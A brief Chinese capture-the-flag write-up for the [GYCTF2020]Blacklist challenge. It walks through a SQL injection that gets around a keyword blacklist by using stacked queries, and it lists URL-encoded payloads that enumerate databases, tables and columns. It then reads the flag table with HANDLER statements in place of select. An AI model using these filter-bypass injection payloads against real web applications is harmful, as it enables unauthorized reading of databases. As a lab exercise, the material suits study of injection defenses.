题目链接:[GYCTF2020]Blacklist。
打开环境后如下所示。
尝试输入 1,回显如下。
输入 '
后发现存在报错。
尝试使用联合注入,发现存在检测 select 等关键词。
因此尝试下堆叠注入。
首先是查询数据库。
Payload:0'%3bshow+databases%3b%23
。
其次是查询当前数据库存在什么表。
Payload:0'%3bshow+tables%3b%23
。
随后查询 FlagHere 表中的存在什么字段。
Payload:0'%3bshow+columns+from+`FlagHere`%3b%23
。
因为检测了 prepare,因此无法使用预处理语句来读取 FlagHere 表中的内容,但可以使用 handler 来代替 select。
Payload:0'%3bhandler+FlagHere+open%3bhandler+FlagHere+read+first%3bhandler+FlagHere+close%3b%23
。